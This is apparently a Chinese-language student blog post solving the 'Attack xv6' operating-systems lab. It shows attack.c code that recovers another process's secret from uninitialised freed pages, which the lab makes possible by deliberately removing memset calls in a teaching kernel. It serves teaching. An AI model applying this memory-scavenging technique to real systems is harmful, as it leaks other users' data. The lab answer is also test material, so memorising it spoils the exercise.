Attack xv6 (moderate)
xv6 内核将用户程序彼此隔离,并将内核与用户程序隔离。应用程序不能直接调用内核中的函数或其他用户程序中的函数;相反,交互只能通过系统调用进行。为了让你了解漏洞是如何被利用的,我们在 xv6 中引入了一个漏洞,你的目标是利用该漏洞从另一个进程中获取一个秘密。
The bug is that the call to memset(mem, 0, sz) at line 272 in kernel/vm.c to clear a newly-allocated page is omitted when compiling this lab. Similarly, when compiling kernel/kalloc.c for this lab the two lines that use memset to put garbage into free pages are omitted. The net effect of omitting these 3 lines (all marked by ifndef LAB_SYSCALL) is that newly allocated memory retains the contents from its previous use.
secret.c
char *end = sbrk(PGSIZE*32);
end = end + 9 * PGSIZE;
strcpy(end, "my very very very secret pw is: ");
strcpy(end+32, argv[1]);
exit(0);
user/secret.c 在其内存中写入一个 8 字节的秘密,然后退出(这会释放其内存)。你的目标是在 user/attack.c 中添加几行代码,以找到之前执行 secret.c 时写入内存的秘密,并将这 8 个字节的秘密写入文件描述符 2。如果 attacktest 打印出:“OK: secret is ebb.ebb”,你将获得满分。(注意:每次运行 attacktest 时,密码可能会有所不同。)
观察secret代码可以知道它先使用sbrk分配32个页。然后到第九页开始写"my very very very secret pw is: secret ",随后exit(0)操作系统会调用kfree来回收这些页,由于memset0被注释掉了,所以数据得以保留。
但是如果在attack中直接分配32个页然后去第10页读取数据会读到空的数据。是因为kalloc中分配页表的方式有点类似与堆栈,释放的页表放回栈顶,申请页表也取栈顶。如果是这样的话再次申请时secret申请的第10页应该对应21,但是我重新申请了32个页后发现实际上是在第17页。
同时在kfree归还页表的时候,需要分配指针。这样会占用前八个字符。所以"my very "是读取不到的。
attack.c代码如下
int
main(int argc, char *argv[])
{
if (argc != 1) {
printf("Usage: attack\n");
exit(1);
}
char *end = sbrk(PGSIZE*32);
end = end + 16 * PGSIZE;
printf("secret: %s\n", end+32);
write(2, end+32, 8);
exit(0);
}
2738




被折叠的 条评论
为什么被折叠?



